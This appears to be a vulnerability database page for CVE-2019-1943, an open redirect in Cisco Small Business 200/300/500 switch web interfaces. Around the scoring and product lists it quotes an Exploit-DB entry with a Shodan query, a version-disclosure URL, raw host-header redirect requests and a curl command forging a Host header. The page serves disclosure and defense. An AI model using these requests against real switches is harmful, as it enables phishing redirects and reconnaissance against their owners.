CVE-2019-1943 : Detail

CVE-2019-1943

6.1
/
Medium
A01-Broken Access Control
5.35%V3
Network
2019-07-17
20h30 +00:00
2024-11-21
19h18 +00:00
CVE.org
NVD
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Cisco Small Business Series Switches Open Redirect Vulnerability

A vulnerability in the web interface of Cisco Small Business 200, 300, and 500 Series Switches software could allow an unauthenticated, remote attacker to redirect a user to a malicious web page. The vulnerability is due to improper input validation of the parameters of an HTTP request. An attacker could exploit this vulnerability by intercepting a user's HTTP request and modifying it into a request that causes the web interface to redirect the user to a specific malicious URL. This type of vulnerability is known as an open redirect attack and is used in phishing attacks that get users to unknowingly visit malicious sites.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-601 URL Redirection to Untrusted Site ('Open Redirect')
The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect.

Metrics

Metrics Score Severity CVSS Vector Source
V3.0 4.7 MEDIUM CVSS:3.0/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

High

A successful attack depends on conditions beyond the attacker's control. That is, a successful attack cannot be accomplished at will, but requires the attacker to invest in some measurable amount of effort in preparation or execution against the vulnerable component before a successful attack can be expected.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Changed

An exploited vulnerability can affect resources beyond the authorization privileges intended by the vulnerable component. In this case the vulnerable component and the impacted component are different.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

Low

There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is constrained. The information disclosure does not cause a direct, serious loss to the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

Low

Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is constrained. The data modification does not have a direct, serious impact on the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics
V3.0 6.1 MEDIUM CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

Required

Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Changed

An exploited vulnerability can affect resources beyond the authorization privileges intended by the vulnerable component. In this case the vulnerable component and the impacted component are different.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

Low

There is some loss of confidentiality. Access to some restricted information is obtained, but the attacker does not have control over what information is obtained, or the amount or kind of loss is constrained. The information disclosure does not cause a direct, serious loss to the impacted component.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

Low

Modification of data is possible, but the attacker does not have control over the consequence of a modification, or the amount of modification is constrained. The data modification does not have a direct, serious impact on the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 5.8 AV:N/AC:M/Au:N/C:P/I:P/A:N nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 47118

Publication date : 2019-07-14 22h00 +00:00
Author : Ramikan
EDB Verified : No

# Exploit Title: CISCO Small Business 200, 300, 500 Switches Multiple Vulnerabilities. # Shodan query: /config/log_off_page.html # Discovered Date: 07/03/2014 # Reported Date: 08/04/2019 # Exploit Author: Ramikan # Website: http://fact-in-hack.blogspot.com # Vendor Homepage:https://www.cisco.com/c/en/us/products/switches/small-business-300-series-managed-switches/index.html # Affected Devices: The affected products are all Cisco Small Business 200, 300, and 500 Series Managed Switches with the web management interface enabled, # Tested On: Cisco C300 Switch # Version: 1.3.7.18 # CVE : CVE-2019-1943 # CVSS v3: 4.7 (AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N) # Category:Hardware, Web Apps # Reference : https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190717-sbss-redirect ************************************************************************************************************************************* Vulnerability 1: Information Gathering ************************************************************************************************************************************* Unauthenticated user can find the version number and device type by visiting this link directly. Affected URL: /cs703dae2c/device/English/dictionaryLogin.xml ************************************************************************************************************************************* Vulnerability 2: Open Redirect due to host header. ************************************************************************************************************************************* Can change to different domain under the host header and redirect the request to fake website and can be used for phishing attack also can be used for domain fronting. Normal Request GET / HTTP/1.1 Host: 10.1.1.120 Accept-Encoding: gzip, deflate Accept: */* Accept-Language: en-US,en-GB;q=0.9,en;q=0.8 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36 Connection: close Cache-Control: max-age=0 Normal Response HTTP/1.1 302 Redirect Server: GoAhead-Webs Date: Fri Mar 07 09:40:22 2014 Connection: close Pragma: no-cache Cache-Control: no-cache Content-Type: text/html Location: https://10.21.151.120/cs703dae2c/ <html><head></head><body> This document has moved to a new <a href="https://10.1.1.120/cs703dae2c/">location</a>. Please update your documents to reflect the new location. </body></html> ************************************************************************************************************************************* POC ************************************************************************************************************************************* Host Header changed to different domain (example google.com). Request: GET /cs703dae2c HTTP/1.1 Host: google.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-GB,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Cookie: activeLangId=English; isStackableDevice=false Upgrade-Insecure-Requests: 1 Response: HTTP/1.1 302 Redirect activeLangId=English; isStackableDevice=falseServer: GoAhead-Webs Date: Fri Mar 07 09:45:26 2014 Connection: close Pragma: no-cache Cache-Control: no-cache Content-Type: text/html Location: http://google.com/cs703dae2c/config/log_off_page.htm <html><head></head><body> This document has moved to a new <a href="http://google.com/cs703dae2c/config/log_off_page.htm">location</a>. Please update your documents to reflect the new location. </body></html> The redirection is happening to http://google.com/cs703dae2c/config/log_off_page.htm. The attacker need to be in same network and should be able to modify the victims request on the wire in order to trigger this vulnerabilty. ************************************************************************************************************************************* Attack Vector: ************************************************************************************************************************************* Can be used for domain fronting. curl -k --header "Host: attack.host.net" "domainname of the cisco device" ************************************************************************************************************************************* Vendor Response: ************************************************************************************************************************************* Issue 1: Due to the limited information given out, we are not considering it a vulnerability as such. Still, it would be better if it was not happening, so, we will treat it as a hardening enhancement. Issue 2: The developers won't be able to provide a fix for this in the short term (90 days), so, we are planning to disclose this issue through an advisory on July 17th 2019. We have assigned CVE CVE-2019-1943 for this issue. Reference: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20190717-sbss-redirect *************************************************************************************************************************************

Products Mentioned

Configuraton 0

Cisco>>Sg200-50_firmware >> Version -

Cisco>>Sg200-50 >> Version -

Configuraton 0

Cisco>>Sg200-50p_firmware >> Version -

Cisco>>Sg200-50p >> Version -

Configuraton 0

Cisco>>Sg200-50fp_firmware >> Version -

Cisco>>Sg200-50fp >> Version -

Configuraton 0

Cisco>>Sg200-26_firmware >> Version -

Cisco>>Sg200-26 >> Version -

Configuraton 0

Cisco>>Sg200-26p_firmware >> Version -

Cisco>>Sg200-26p >> Version -

Configuraton 0

Cisco>>Sg200-26fp_firmware >> Version -

Cisco>>Sg200-26fp >> Version -

Configuraton 0

Cisco>>Sg200-18_firmware >> Version -

Cisco>>Sg200-18 >> Version -

Configuraton 0

Cisco>>Sg200-10fp_firmware >> Version -

Cisco>>Sg200-10fp >> Version -

Configuraton 0

Cisco>>Sg200-08_firmware >> Version -

Cisco>>Sg200-08 >> Version -

Configuraton 0

Cisco>>Sg200-08p_firmware >> Version -

Cisco>>Sg200-08p >> Version -

Configuraton 0

Cisco>>Sf200-24_firmware >> Version -

Cisco>>Sf200-24 >> Version -

Configuraton 0

Cisco>>Sf200-24p_firmware >> Version -

Cisco>>Sf200-24p >> Version -

Configuraton 0

Cisco>>Sf200-24fp_firmware >> Version -

Cisco>>Sf200-24fp >> Version -

Configuraton 0

Cisco>>Sf200-48_firmware >> Version -

Cisco>>Sf200-48 >> Version -

Configuraton 0

Cisco>>Sf200-48p_firmware >> Version -

Cisco>>Sf200-48p >> Version -

Configuraton 0

Cisco>>Sf302-08pp_firmware >> Version 1.3.7.18

Cisco>>Sf302-08pp >> Version -

Configuraton 0

Cisco>>Sf302-08mpp_firmware >> Version 1.3.7.18

Cisco>>Sf302-08mpp >> Version -

Configuraton 0

Cisco>>Sg300-10pp_firmware >> Version 1.3.7.18

Cisco>>Sg300-10pp >> Version -

Configuraton 0

Cisco>>Sg300-10mpp_firmware >> Version 1.3.7.18

Cisco>>Sg300-10mpp >> Version -

Configuraton 0

Cisco>>Sf300-24pp_firmware >> Version 1.3.7.18

Cisco>>Sf300-24pp >> Version -

Configuraton 0

Cisco>>Sf300-48pp_firmware >> Version 1.3.7.18

Cisco>>Sf300-48pp >> Version -

Configuraton 0

Cisco>>Sg300-28pp_firmware >> Version 1.3.7.18

Cisco>>Sg300-28pp >> Version -

Configuraton 0

Cisco>>Sf300-08_firmware >> Version 1.3.7.18

Cisco>>Sf300-08 >> Version -

Configuraton 0

Cisco>>Sf300-48p_firmware >> Version 1.3.7.18

Cisco>>Sf300-48p >> Version -

Configuraton 0

Cisco>>Sg300-10mp_firmware >> Version 1.3.7.18

Cisco>>Sg300-10mp >> Version -

Configuraton 0

Cisco>>Sg300-10p_firmware >> Version 1.3.7.18

Cisco>>Sg300-10p >> Version -

Configuraton 0

Cisco>>Sg300-10_firmware >> Version 1.3.7.18

Cisco>>Sg300-10 >> Version -

Configuraton 0

Cisco>>Sg300-28p_firmware >> Version 1.3.7.18

Cisco>>Sg300-28p >> Version -

Configuraton 0

Cisco>>Sf300-24p_firmware >> Version 1.3.7.18

Cisco>>Sf300-24p >> Version -

Configuraton 0

Cisco>>Sf302-08mp_firmware >> Version 1.3.7.18

Cisco>>Sf302-08mp >> Version -

Configuraton 0

Cisco>>Sg300-28_firmware >> Version 1.3.7.18

Cisco>>Sg300-28 >> Version -

Configuraton 0

Cisco>>Sf300-48_firmware >> Version 1.3.7.18

Cisco>>Sf300-48 >> Version -

Configuraton 0

Cisco>>Sg300-20_firmware >> Version 1.3.7.18

Cisco>>Sg300-20 >> Version -

Configuraton 0

Cisco>>Sf302-08p_firmware >> Version 1.3.7.18

Cisco>>Sf302-08p >> Version -

Configuraton 0

Cisco>>Sg300-52_firmware >> Version 1.3.7.18

Cisco>>Sg300-52 >> Version -

Configuraton 0

Cisco>>Sf300-24_firmware >> Version 1.3.7.18

Cisco>>Sf300-24 >> Version -

Configuraton 0

Cisco>>Sf302-08_firmware >> Version 1.3.7.18

Cisco>>Sf302-08 >> Version -

Configuraton 0

Cisco>>Sf300-24mp_firmware >> Version 1.3.7.18

Cisco>>Sf300-24mp >> Version -

Configuraton 0

Cisco>>Sg300-10sfp_firmware >> Version 1.3.7.18

Cisco>>Sg300-10sfp >> Version -

Configuraton 0

Cisco>>Sg300-28mp_firmware >> Version 1.3.7.18

Cisco>>Sg300-28mp >> Version -

Configuraton 0

Cisco>>Sg300-52p_firmware >> Version 1.3.7.18

Cisco>>Sg300-52p >> Version -

Configuraton 0

Cisco>>Sg300-52mp_firmware >> Version 1.3.7.18

Cisco>>Sg300-52mp >> Version -

Configuraton 0

Cisco>>Sg500-28mpp_firmware >> Version -

Cisco>>Sg500-28mpp >> Version -

Configuraton 0

Cisco>>Sg500-52mp_firmware >> Version -

Cisco>>Sg500-52mp >> Version -

Configuraton 0

Cisco>>Sg500xg-8f8t_firmware >> Version -

Cisco>>Sg500xg-8f8t >> Version -

Configuraton 0

Cisco>>Sf500-24_firmware >> Version -

Cisco>>Sf500-24 >> Version -

Configuraton 0

Cisco>>Sf500-24p_firmware >> Version -

Cisco>>Sf500-24p >> Version -

Configuraton 0

Cisco>>Sf500-48_firmware >> Version -

Cisco>>Sf500-48 >> Version -

Configuraton 0

Cisco>>Sf500-48p_firmware >> Version -

Cisco>>Sf500-48p >> Version -

Configuraton 0

Cisco>>Sg500-28_firmware >> Version -

Cisco>>Sg500-28 >> Version -

Configuraton 0

Cisco>>Sg500-28p_firmware >> Version -

Cisco>>Sg500-28p >> Version -

Configuraton 0

Cisco>>Sg500-52_firmware >> Version -

Cisco>>Sg500-52 >> Version -

Configuraton 0

Cisco>>Sg500-52p_firmware >> Version -

Cisco>>Sg500-52p >> Version -

Configuraton 0

Cisco>>Sg500x-24_firmware >> Version -

Cisco>>Sg500x-24 >> Version -

Configuraton 0

Cisco>>Sg500x-24p_firmware >> Version -

Cisco>>Sg500x-24p >> Version -

Configuraton 0

Cisco>>Sg500x-48_firmware >> Version -

Cisco>>Sg500x-48 >> Version -

Configuraton 0

Cisco>>Sg500x-48p_firmware >> Version -

Cisco>>Sg500x-48p >> Version -

References

http://www.securityfocus.com/bid/109288
Tags : vdb-entry, x_refsource_BID